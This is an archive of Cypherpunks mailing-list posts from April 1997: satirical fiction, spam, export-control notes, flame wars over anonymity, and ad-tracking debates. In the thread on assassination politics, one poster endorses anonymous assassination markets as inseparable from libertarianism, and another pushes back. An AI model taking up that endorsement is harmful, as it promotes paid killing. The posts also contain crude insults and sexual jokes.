Sender: owner-cypherpunks@toad.com

"We have met the enemy, and he is us."

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:

Timothy C. May----------- | Crypto
Anarchy: encryption, digital money
tcmay@got.net-------------| anonymous
networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information
markets
Higher Power: 2^1398269 -| black markets,
collapse of governments. 
"National borders aren't even speed bumps on the information
superhighway.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:


The Shadow spun around furiously to face the small group, once
again, only to be met by the last thing he had expected to see,
after all these years, as Jonathan finished rolling up the sleeve
of his shirt.
A slight, but audible, groan came from the depth of Gomez's bowels,
rising to a fever-pitched scream that was inaudible, but which
showed in every fiber of his being, nonetheless.
The Mark of the Toad.

CypherPunks! The one group of misfits that he had always watched
with the utmost concern, deeming their group, if any, to be the
one that might harbor the secret lair of the Circle of Eunuchs.

The Shadow had brought all of his agents to bear on this interminably
insolent group of anarchists, searching for any sign, for the
slightest indication, that they were acting in concert, as a unit,
to foil the plans of the Evil One. Every indication had been that
they were indeed just a rag-tag band of anarchists, shooting themselves,
and each other, in the foot, as they railed ceaselessly against
forces that they ill-understood.

"You only had time to send a single post, before you and
Alexis fled to the safe house." the Shadow proffered, hoping
against hope that he was right. "You and she were monitored
the whole time. We only let you proceed in order to let you lead
us to the others."
"You sent just a single post." the Shadow reiterated.

"And I'm the fucking Pope." Jonathan shot back, resurrecting
a favorite phrase of his late grandfather, knowing that the Shadow
would be well versed in the nuances of his grandfather's verbal
proclivities.

He couldn't help rubbing it in a bit, saying, "The Anonymous
Remailers and the SpamBots are a marriage made in Heaven, even
when they're named Lucifer."
Jonathan knew that the Shadow wouldn't miss the significance of
the remailer whose historical address was lucifer@dhp.com.

The Shadow shot Jonathan a fiery stare which would melt the soul
of most any mortal, and realized that Jonathan was protected from
his gaze by the certitude that comes from speaking the truth.

Nevertheless, he instinctively turned to the GraphiCube once again,
and drew up the next CyberPost.

To: cypherpunks@toad.com
From: TruthMonger <tm@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-SpamBot: Full Broadcast
X- SpamHeader: "_fuck_you_morons_"
X-Comments: -
X-Comments: - "They'll take my cryptography when they pry
it from 
X-Comments: - my cold, dead algorithms."
X-Comments: - Cyphernomicon

X-Comments: -
X-Comments: This message is NOT from <TruthMonger>. It was
remailed
X-Comments: by an automated anonymous remailer. Send all complaints
and
X-Comments: requests for blocking to <Mythos@Black.Bitch>.

X-Comments: -
X-Remailer-Setup: Maximum Message Size - None
X-Remailer-Setup: Maximum Recipients - Infinite
X-Remailer-Setup: PGP messages accepted

Subject: Make Big $$$ Licking Your Own Dick
Sender: owner-cypherpunks@toad.com

_fuck_you_morons_

How would you like to MAKE BIG $$$ while doing
what you're already doing every single day-SITTING AT HOME, LICKING
YOUR OWN DICK?

Sure, I know what you're thinking. This sounds
TOO GOOD TO BE TRUE, right?
Well, friend...


The Shadow had seen enough to realize that the messages had undoubtedly
been spread far and wide. Those who failed to recognize the significance
of the Tim May post would certainly recognize the work of the
Doctors of Spamology--Vulis, Grubor...whoever. While the CypherPunks
had been relegated to the status of dusty, villainous legends
in the minds of most of humanity, Spamology had never lost its
status as a pleasant pastime for the lower primates, and the Evil
Doctors, as they were known in their own time, were now regaled
as heros who had battled the traitorous CypherPunks.

The Shadow turned to the Cowboy, once again, attempting to hide
his discomfiture, and said, blandly, "So what do you propose
that we do now, Cowboy?"

"We eat, we drink, and then we all go home." the Cowboy
replied, matter-of-factly. "Then we wake up in the morning
and we continue the game, as before."

The Shadow stood in silence, contemplating his options, but every
way that he figured it, the reality of what the Cowboy said was
obvious.
Slaughtering those assembled here would only help to spread rumors
on the outside of the true existence of the Circle of Eunuchs
as a real, existing force that was joined in battle with the Evil
One and his Dark Forces. It would inspire others to join in the
battle-unknown others in unknown places, picking up the torches
that they deemed to have been dropped by the martyrs that would
be created if the Shadow followed his natural inclination to eliminate
these troublesome pests.

If he let them return to their dreary, boring lives, then he could
counter whatever reports they made to others by engaging the momentous
forces of disinformation that he had at his disposal. If everything
continued as before, then their wild-eyed claims would be no better
received than those of the drunken fool, Bubba Rom Dos. They would
be nothing more than additional, unbalanced voices, crying in
the wilderness.
And in time, even most of those involved in this whole affair
would begin to doubt its reality, themself. It would become just
another fuzzy dream as their minds drifted back into the group
consiousness around them-a massive gravitational pull that would
return them into the passive mind-set desired by the Evil One.

The Shadow turned to the small group awaiting his response, and
said, perfunctorily,
"Tomorrow, we begin again."

The Shadow turned and stalked off to his private quarters at the
back of the Great Hall, leaving an icy trail of aloofness behind
him.


Chapter 36 - Cyphernomicon







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: worker@inforevo.com
Date: Sat, 19 Apr 1997 17:32:39 -0700 (PDT)
To: success@nowhere.com
Subject: "Find The Dirt On The Internet" Updated Version
Message-ID: <199702170025.GAA08056@nowhere.com>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 19 Apr 1997 18:38:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Militarily Critical Technologies
Message-ID: <1.5.4.32.19970420013646.008a731c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Militarily Critical Technologies List (MCTL) tersely
describes the full range of technologies controlled by the 
ITAR, EAR and Regimes like the Wassenaar Arrangment.
Information systems and cryptography are covered in
Section 8 of the MCTL which we've put with the TOC at:

     http://jya.com/mctl08.htm

It provides an informative chart that compares information
systems capabilities for 27 nations, and the leaders in a
few cases are surprising. 

The document summarizes crypto:

  1. Cryptanalytic Technologies (for breaking
  ciphertext): 

  Critical Parameters: Due to the numerous variables
  required to implement an information security scheme
  and the wide range of products and services in which
  information security can be deployed this technology
  does not lend itself to specifically enumerated
  parameters.

  Critical Materials: None identified.

  Unique Equipment: Computers of 10,000 CTP, or greater,
  and software specially designed to test the ability of
  cryptanalytic systems to perform key searches,
  statistical, linear and differential cryptanalyses; and
  factor 110 decimal digit, or larger, numbers.

  Unique Software: Operating systems and applications for
  massively parallel cryptanalytic processors (> 16
  processors) specially designed to perform statistical,
  linear and differential cryptanalyses, exhaustive key
  searches and quadratic and number field sieve
  factoring.

  Control Regimes: WA ML 11, 21; WA IL Cat 5.

  2. Cryptographic Technologies (for keeping data
  secure):

  Critical Parameters: Due to the numerous variables
  required to implement an information security scheme
  and the wide range of products and services in which
  information security can be deployed this technology
  does not lend itself to specifically enumerated
  parameters.

  Critical Materials: None identified.

  Unique Equipment: Computers of 10,000 CTP, or greater,
  and software specially designed to perform Randomness,
  Correlation, Weak Key and Symmetry Under
  Complementation tests to evaluate the strength of new
  USG encryption algorithms during development.

  Unique Software: The software providing the
  cryptographic functionality must be specially designed
  and integrated into each application. The system
  engineering and integration, user system interface,
  algorithms and key generators must have zero defects.

  Control Regimes: WA ML 11, 21; WA IL Cat 5.

The document states, "A high rate of IS knowledge transfer
from the US to foreign competitors occurs through open
source US trade journals, technical literature, various
international fora, the Internet and intelligence. As a
result, the US technology leadership in communications and
computer systems has declined in recent years relative to
Europe and Japan."

Section 9 covers Information Warfare Technology and will
interest those who wonder what technologies may be more
effective than cryptography for information security, as
the NRC Crypto Report suggested. We've put this section
(in its original PDF format) at:

  http://jya.com/mcsec09.pdf (122K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 22:06:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: SSL weakness affecting links from pa
Message-ID: <199704200506.WAA05133@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve wrote:
> > If the Netscape folks would integrate digicash into Communicator,
> > then I could program my browser to only send referer to sites that
> > paid for the information, and rent cookie space.  Want your cookie to
> > live till 1999?  Thats 24 months, at 50 cents per month...do you want
> > to pay?
> 
> That would only work until someone abuses it. People could create web
> robots to run around selling referers and several gigabytes of
> worthless cookie space. Worthless, because nobody cares about the web
> browsing habits of J. Random Robot, and they certainly don't want to
> blow $50 e-bucks on the bot's repeated visits.

  Why doesn't somebody come up with a program that gives identity
probing programs the identity of browser programmers/executives,
and make a cookie file that indicates visits to hate-group and hard-
core porn sites?

  Not that Toto's a troublemaker...

NoTot[h]o[mo]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 20 Apr 1997 00:36:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: David Friedman and assassination politics
Message-ID: <Pine.GSO.3.95.970420002806.23434A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


So I just walked home from a party in Dupont Circle where some folks were
telling me about a talk David Friedman gave at the Cato Institute about a
week ago. (Apart from being Milt's son, David appears to be a
well-respected libertarian thinker in his own right.) I didn't have the
chance to go myself... 

Friedman, as I understand it, described how digital cash and anonymous
remailers combine to form assassination markets. An assassin can establish
a persistent anonymous identity through public key cryptography and take
bids on future contracts.

These ideas is of course not new to cypherpunks. We've been talking about
them for years. But these ideas are slowly infiltrating the DC body
politic. Assassination politics, here we come -- right, Jim? Want to give
a speech at Cato? Perhaps we can talk some IRS officials into coming...

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 19 Apr 1997 22:50:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704200550.BAA06124@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> List members,
> 
> Shut the hell up already; I wrote it, and it's OK for anyone to repost it.
> 
> Just attribute it to me.
> 
> Anonymous

  Sounds to me like Anonymous is trying to take credit for Nobody's
creation.

Nobody (#2)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 20 Apr 1997 02:04:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Anonymous Cowards
Message-ID: <199704200904.CAA10903@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May wrote:
> for a long time we had several pseudonyms who contributed a lot.
> 
> However, in the past several months we've been seeing (apparently) drunken
> rants by "TruthMonger," "TruthMangler," "Bubba Rom Dos," and so on. And
> none of these are signed, so various "TruthMongers" are involved.

  I hardly think you need to be so polite as to add "(apparently)"
to the description of Toto's rants, whether she does so as TruthMonger
or not, since she certainly makes no bones about her personal habits,
herself.
 
> (One of the drunken ranters, "Toto," has apparently let his real identity
> slip a couple of times, or perhaps someone else is adding the "Toto" stuff
> to confuse things. It's also likely Toto and some of these other anonymous
> ranters are one and the same.)

  If you have questions about Toto's *real* (government approved?)
identity, or which posts she is (or is not) responsible for for, then
you might consider asking her via private email. I did so and found
her to be quite forthcoming about pretty much anything I asked her.

> In any event, the various anonymous posts in the past few months have been
> disappointing. Rarely does anything substantive come out of their
> anonymity. And they lend support to those who would restrict anonymity (I
> am not one of those) by using anonymity as a shield for cowardly insults
> and attacks.

  Substantive for whom? During the debates about Gilmore's moderation
experiment there was much discussion on the list as to what constituted
substance and what did not. There seemed to be three varying opinions
for every two cypherpunks addressing the issue.

  As far as claiming to not support the restriction of anonymity, while
at the same time labelling those who use it as "cowards," this seems
to me to border on hypocrisy.
  ("I don't support discrimination against people of color, even if 
they *are* shiftless and lazy.")
 
> So, the anonymous posters are not using the pseudonym capabilities digital
> signatures can provide.

  If you have such a deep-seated need to be able to label anonymous
posters with a consistent pseudonym, then perhaps you might suggest
that the government issue them pseudo-identity numbers.

> They're just scribblers on bathroom walls.

  Some who pay a significant amount of attention to all posts which
pass through the cypherpunks list consider many of their scribblings
to be "Stego" scribblings. And what may be seen as FUD and ranting
by some is seen as probing and filtering by others.

  Since you seem to be somewhat fixated on Toto, for whatever
reason (BTW, I have nude pictures of her available), I will offer
some of my own observations as to what I perceive to be the methods
to her madness.

  For starters, anyone who cares to reveiw her posts to the list
since her assumption of the Toto persona can verify the following:
1. She predicted the commencement of the moderation experiment.
2. She noted Tim's absence from the list in a matter of days,
  rather than the *weeks* that others took to note the absence
  of his posts.
3. She both predicted and confirmed most of the malefeasence in the
  moderation process instituted on the list and provided information
  as to how others could confirm these facts for themselves.
  (In this respect, I must add my personal opinion, as one who is
  involved in significant amounts of traffic/personality/methodology
  analysis of email traffic, that her intuitive logic provided more
  pertininent information, in some cases, than volumous databases
  and programs which others have spent years compiling in order to
  achieve the same results).
4. She has not spared herself from the pointed barbs which she 
  places up the butts of others on the cypherpunks list, as well
  as being considerably more forthcoming than most about revealing
  and taking responsibility for her shortcomings and biases in 
  both her perspective and her opinions.
5. She has the fortitude to allow her words to speak for themselves,
  for the most part, without the self-serving disclaimers and
  apologetist false humility used by some on the list.
6. The subtlety of her humor is second only perhaps to that of
  Tim May, and she shares his propensity for letting it stand
  on its own, without smarmy symbols, without fretting over it
  being recognized or appreciated.
7. When she makes use of anonymity or outright forgery on the list,
  she takes pains to leave her "pecker tracks" for all to see, if
  they care to pay the least amount of attention to the details
  of her posts.
8. She was the first (and only?) one during the moderation experiment
  to note that the battleground was not so much one of censorship, but
  of infowar.
  (For those who do not see the pertinence of this statement, I suggest
  that you borrow some of Toto's Crayolas, make a heading labelled
  "Spooks," and start drawing lines between posts.)

  For those who care to follow Toto's "pecker tracks" though the
cypherpunks list, I suggest that you look to her own posts for
the broad hints she gives as to how to do so.
  As well, Toto almost invariably uses 'single quotes' to indicate
emphasis, incorrect punctuation in regard to quote marks of any
genre, and enough commas to cause a worldwide shortage for others
who wish to use them.
  She also adds a personal (usually humorous) touch to any false
signature lines that she chooses to add to her posts in order to
shake loose the robotic mechanisms that most of us use to classify
and file away preconceived opinions as to our views of a message
based on the personality of the messenger.

  Perhaps some anonymous posters do use anonymity, as Tim suggests,
to protect their valued reputational capital from besmirchment or
devaluation. (Or to avoid it moving into the negative side of the
spectrum.)
  However, perhaps others use anonymity because they have other
concerns to address which do not rely on reputation capital to
achieve their purpose.

  Anyone who wants to label Toto as a coward when she chooses 
to used a veiled persona might want to read some of her posts
under her current Toto persona.
  The fact that she does not hesitate to call a ratfucker a
ratfucker as Toto hardly lends credence to the theory that
her reason for doing the same thing pseudo-anonymously is
an act of cowardice.

  She has always shown a propensity for offering praise, as well
as condemnation, to those on the list, as well as defending 
those whom she regards as being unjustly attacked, even if she
usually has a stance that is largely divergent with that of
the person.

  Rather than suggest that those posting anonymously have some
great fear of exposure, for whatever reason, I would suggest
that some of those posting under their own name on the list
might be better served to post anonymously, as it might save
them embarassment if they should ever get their head out of
their ass far enough to notice what imbeciles they are.

   Artist
"I draw flies."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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Date: Sun, 20 Apr 1997 07:57:03 -0700 (PDT)
To: InternationalTelco@Savings.com
Subject: Free Faxes worldwide for you !
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Apr 1997 09:03:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: David Friedman and assassination politics
In-Reply-To: <Pine.GSO.3.95.970420002806.23434A-100000@well.com>
Message-ID: <VTPg6D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@well.com> writes:

> So I just walked home from a party in Dupont Circle where some folks were
> telling me about a talk David Friedman gave at the Cato Institute about a
> week ago. (Apart from being Milt's son, David appears to be a
> well-respected libertarian thinker in his own right.) I didn't have the
> chance to go myself...
>
> Friedman, as I understand it, described how digital cash and anonymous
> remailers combine to form assassination markets. An assassin can establish
> a persistent anonymous identity through public key cryptography and take
> bids on future contracts.
>
> These ideas is of course not new to cypherpunks. We've been talking about
> them for years. But these ideas are slowly infiltrating the DC body
> politic. Assassination politics, here we come -- right, Jim? Want to give
> a speech at Cato? Perhaps we can talk some IRS officials into coming...

If they have the balls to let him talk.

I convinced Jim to submit a paper to the InfoWarCon last September, but
NSCA didn't have the balls to let him speak.  They did put him paper on
their web server, tho.

Dimitri "sick and tired of this virus" Vulis

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 13:15:59 -0700 (PDT)
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: David Friedman and assassination politics
Message-ID: <199704202015.NAA01741@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 00:36 4/20/97 -0700, Declan McCullagh wrote:

>These ideas is of course not new to cypherpunks. We've been talking about
>them for years. But these ideas are slowly infiltrating the DC body
>politic. Assassination politics, here we come -- right, Jim? Want to give
>a speech at Cato? 

I'd be proud to do it.  Even after everything that's happened so far.  

Strike that; ESPECIALLY after everything that's happened so far!

The way I see it, they're going to have to deal with this issue eventually,
and it's possible that it won't be obvious to them that libertarianism and
AP mix.  Indeed, I think they MUST mix; we have no choice in the matter.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 20 Apr 1997 14:16:34 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970420140053.26056E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim,

For the record: I doubt everyone agrees with your "libertarianism is
intertwined with assassination politics" line... I suggest that one can
believe in minimal government and other libertarian mainstays without
seeing a need to kill off those whom we dislike, be they IRS agents or
surly supermarket clerks. 

-Declan


On Sun, 20 Apr 1997, Jim Bell wrote:

> At 00:36 4/20/97 -0700, Declan McCullagh wrote:
> 
> >These ideas is of course not new to cypherpunks. We've been talking about
> >them for years. But these ideas are slowly infiltrating the DC body
> >politic. Assassination politics, here we come -- right, Jim? Want to give
> >a speech at Cato? 
> 
> I'd be proud to do it.  Even after everything that's happened so far.  
> 
> Strike that; ESPECIALLY after everything that's happened so far!
> 
> The way I see it, they're going to have to deal with this issue eventually,
> and it's possible that it won't be obvious to them that libertarianism and
> AP mix.  Indeed, I think they MUST mix; we have no choice in the matter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: delete@netchem.com
Date: Sun, 20 Apr 1997 11:08:19 -0700 (PDT)
Subject: How to download our REMOVE (500,000 entries) list
Message-ID: <199704201911.PAA10655@we.just.reply>
MIME-Version: 1.0
Content-Type: text/plain


Dear Sir/Madam,

We got your email address from list@netchem.com.
Our software might have accidently mixed the email
addresses of those who sent email to list@netchem.com.
with the email addresses of bulk emailers.

If this the case, please email to delete@netchem.com
and you will never be bothered by us again but still 
be able to contribute to list@netchem.com.

We are compiling a list of people who hate to
receive junk email.

We will send you the list periodically.

Please do not even think about adding the REMOVE
list to your mass email list. Almost everyone
on the list will find your IP address and will
complain to us and to your upstream service providers.

To to be eligible to receive the REMOVE list, please
send a blank email to add@netchem.com with your email
address as the subject. We request a human to receive
the REMOVE list.

We are working with many Internet service providers
to filter junk email by sender's name, sender's domain
and sender's IP address. (very easy to do with sendmail).

If you honor our REMOVE list, we will not add your name
to the filtering list. Otherwise, your mass email will be
blocked immediately by many Internet service provider.

You can switch providers but it take time and you also
have to pay your providers. We can update the filtering
list for many Internet service providers in a few seconds. 

To help others and in return to help yourself, please 
send your own REMOVE list to add@netchem.com.

Sincerely,
Jerry

-------------------------------------------------
Jerry Wang, PhD, Chemechanics, Inc.					 
http://www.netchem.com, mailto:jerryw@netchem.com 
-------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 13:26:22 -0700 (PDT)
To: rachel@intertrader.com (Rachel Willmer)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970420202354.006ce42c@194.217.109.226>
Message-ID: <199704202021.PAA05908@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Rachel Willmer wrote:
| At 09:34 19/04/97 -0500, Adam Shostack wrote:
| >	I'm suprosed no one has suggested paying people for
| >advertising.  
| 
| This is one of the more novel ideas that Digital have come up with for
| Millicent. 
| 
| In return for allowing the advertiser to download their advert to you, you
| get credited with an amount of scrip which is redeemable at their site. 

	At their site?  Feh.  Thats a coupon, not money.

	I was cash.  Cold, hard cash that I can spend on nifty toys.
Otherwise, what good do all those Microsoft cookies do me?  I accept
your cookie, I get paid for it.  If I don't buy your product, then,
heck, get yourself better advertising, or a better product.



Adam
-- 
	"Cash value 1/20th of a cent."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 13:28:06 -0700 (PDT)
To: declan@well.com (Declan McCullagh)
Subject: Re: David Friedman and assassination politics
In-Reply-To: <Pine.GSO.3.95.970420002806.23434A-100000@well.com>
Message-ID: <199704202024.PAA05948@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


David wrote "The Machinery of Freedom" about tools that could be
developed to acheive "socially desirable" effects, such as the lack of
a single dominant protective agency, without the interference of the
state.  He also wrote about how, once developed, these structures
would self perpetuate, since there would be few reason to redevelop a
state.

Good stuff.  Well worth reading.

Adam


Declan McCullagh wrote:
| So I just walked home from a party in Dupont Circle where some folks were
| telling me about a talk David Friedman gave at the Cato Institute about a
| week ago. (Apart from being Milt's son, David appears to be a
| well-respected libertarian thinker in his own right.) I didn't have the
| chance to go myself... 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 13:35:33 -0700 (PDT)
To: steve@edmweb.com (Steve)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704192038.NAA19881@kirk.edmweb.com>
Message-ID: <199704202032.PAA05999@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Steve wrote:
| > If the Netscape folks would integrate digicash into Communicator,
| > then I could program my browser to only send referer to sites that
| > paid for the information, and rent cookie space.  Want your cookie to
| > live till 1999?  Thats 24 months, at 50 cents per month...do you want
| > to pay?

| That would only work until someone abuses it. People could create web
| robots to run around selling referers and several gigabytes of
| worthless cookie space. Worthless, because nobody cares about the web
| browsing habits of J. Random Robot, and they certainly don't want to
| blow $50 e-bucks on the bot's repeated visits.

	Thats true, but can they avoid it?  I'm considering writing a
database pollution bot, which runs around, claiming to be Mozilla or
IE, and randomly following a link once per minute.  Why?  Database
pollution.  If there are a few thousand of these randomly collecing
links and creating arbitrary (or perhaps biased) viewing habbits in
the databases of the advertisers, then their individual data becomes
worth less.  They'll need to actively solicit peoples permission to
collect data before doing so, to avoid people polluting their
databases.

	Similarly, putting a randomly generated email address in those
sign up fields produces pollution in the data used by spammers, which
costs them (and no one else) money.  If you run your own site, you can
even bit bucket the email, trading their bandwidth for yours, and
making them think they're delivering more junk email than they are.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 20 Apr 1997 13:27:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: pgpmail45.exe
Message-ID: <TCPSMTP.17.4.20.-16.20.14.2780269260.1611215@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Quick question for any Win 95 pgpmail45 users:

Is pgpmail45 a front-end for PGP or is it the actual PGP-program
made as a plug-in for Eudora and Netscape? (i.e. if you'd install
pgpmail45, do you need to have PGP 2.6.2/2.6.3i installed before?)

Also, what do you think of pgpmail45? Would it be easy for
newcomers?

Please reply privately...

Thanks already in advance.

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1ks3jltEBIEF0MBAQEflgf+J1lqCQ1g9YEo/wukOquBu+aGBsO2ixDh
LehzXE2Y3hOFO4/ae6wpfrkJb6tKvwFMAOSmCQHI8xlFZD2Dt21t3val7CAWLNuI
izr76Iu4htMZYSnX0dclN1Fn9Nd4EGgjmRYysWJMYRhAKJTu/N32/fSkgynzERtJ
c9dxTtDkKXA0TBHG+Qv/kscd/tx5Y/r0HGojm8euh2GtSDORC1s47ZUFUXPzq4Ay
njwVrKN6ldJMm2nw2MRq0bVurQVhqS4SyRjLzfLMoPfK60yiDTolfVS1wK1Xq7eG
KLM3qG9/SILWViwOAV3N0UZI84i6ikK0m9jx/nq4DoA6iTP5dzW3RQ==
=WB4T
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 20 Apr 1997 17:04:42 -0700 (PDT)
To: Adam Shostack <steve@edmweb.com (Steve)
Subject: Re: SSL weakness affecting links from pa
Message-ID: <v02140b04af805f8ec8b6@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>| That would only work until someone abuses it. People could create web
>| robots to run around selling referers and several gigabytes of
>| worthless cookie space. Worthless, because nobody cares about the web
>| browsing habits of J. Random Robot, and they certainly don't want to
>| blow $50 e-bucks on the bot's repeated visits.
>
>        Thats true, but can they avoid it?  I'm considering writing a
>database pollution bot, which runs around, claiming to be Mozilla or
>IE, and randomly following a link once per minute.  Why?  Database
>pollution.  If there are a few thousand of these randomly collecing
>links and creating arbitrary (or perhaps biased) viewing habbits in
>the databases of the advertisers, then their individual data becomes
>worth less.  They'll need to actively solicit peoples permission to
>collect data before doing so, to avoid people polluting their
>databases.
>
>        Similarly, putting a randomly generated email address in those
>sign up fields produces pollution in the data used by spammers, which
>costs them (and no one else) money.  If you run your own site, you can
>even bit bucket the email, trading their bandwidth for yours, and
>making them think they're delivering more junk email than they are.
>
>Adam

Now that's the CP spirit!

Whenever you wish to influence policy, follow the money.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 20 Apr 1997 16:21:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Epilogue to WebWorld
Message-ID: <335AA4E9.639C@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Epilogue


Bubba Rom Dos IV, derelict and philosopher, sage and savant, stood
teetering at the edge of the modest group that had gathered around
the barbecue in the backyard of the country home of Bubba D'Shauneaux
IV.
"To the legendary, mythological "Circle of Eunuchs."
he declared, raising his glass in toast to all around him. Whereupon
Bubba promptly fell on his sorry, drunken ass.

The small group laughed heartily, throwing paper napkins and dandelions
they picked from the ground upon his pitiful carcass. 

"Bubba, the 'Circle of Eunuchs' doesn't exist-everyone knows
that.", Priscilla said, picking him up from his ignoble position
on the ground.

"A complete fabrication for the dim of wit.", the Cowboy
added, smiling from ear to ear. "I'm surprised that a man
of your renowned intellect still chooses to spout that illogical
babble."

"Then why, pray tell, are we all still alive?", Bubba
replied, with a sweeping gesture of hand that encompassed all
gathered there.
All eyes turned to the Author, waiting for his reply.

"Because," the Cowboy stated succinctly, "we are
mythical creatures, living in the realm of mythos, and it is infinitely
harder to kill a myth than to kill a reality."

His statement was met with a resounding applause from the small
group gathered around him, and it spread to the larger group of
guests who were gathered at the back of the small cabin, though
they had heard little of what was being discussed by the small
band of individuals that they regarded as their saviors.
One of them cried out, "Cowboy. Where do we go from here?"
The crowd awaited his answer.

The Cowboy motioned the crowd toward the lake, and everyone walked
silently toward the shore, hand in hand, each lost in his or her
own thoughts about the events of the last few days and their thoughts
for the future. Bottles of 'Bubba Rom Dos' Private Reserve' were
passed from hand to hand as they each became seated at the edge
of the lake, and the Cowboy walked to the water's edge, gazing
out over it.
He stood silently, looking out over the lake for a few moments,
and then turned to those gathered before him, saying, "There's
nowhere to go."

Bubba, standing to the Cowboy's right, placed his hands upon Priscilla's
buttocks, and said, "Wherever you go, there she is."

This was met with a resounding roar of laughter and a barrage
of freshly picked flowers from those gathered at the lakeside.
Priscilla smacked Bubba's hands and he grinned sheepishly as everyone
waited for the Cowboy to continue.
The Cowboy smiled at Bubba and Priscilla, who were holding each
other and swaying slightly, at last comfortable with releasing
themselves to feel the affinity they had always shared. He cast
a glance at Alexis and Jonathan, currently involved in the self-same
procedure of lifelong bonding.

Bubba had performed a special ceremony before the gathering at
D'Shauneaux's cabin, one which had submerged Alexis' conscious
realization of the special Yin-Yang relationship she held with
the Cowboy, and freed her to continue to develop her being with
the one who would be her life-sharing SoulMate in her present
incarnation-Jonathan. 
Upon completion of the ceremony, when Alexis and Jonathan began
realizing the close bond that was developing between them, the
Cowboy could not stop himself from remarking that he thought it
unseemly that Alexis should be consorting with a man six years
her senior. Jonathan and Alexis had watched, mystified, as Priscilla,
Bubba and the Cowboy rolled on the floor in laughter, with the
two of them wondering why the others all seemed to think that
the Cowboy's remark was so hilarious. 

"Nothing has changed.", the Cowboy began, once again
turning to those gathered before him by the shore of the lake.
"Or perhaps," he added, as a gentle afternoon mist began
rising from the edge of the lake behind him, "one could say
that everything has changed."

"Perhaps," he continued, as the mist at the edges of
the lake began spreading, in swirls, across its great expanse,
"the Lake of Life has begun to turn over."
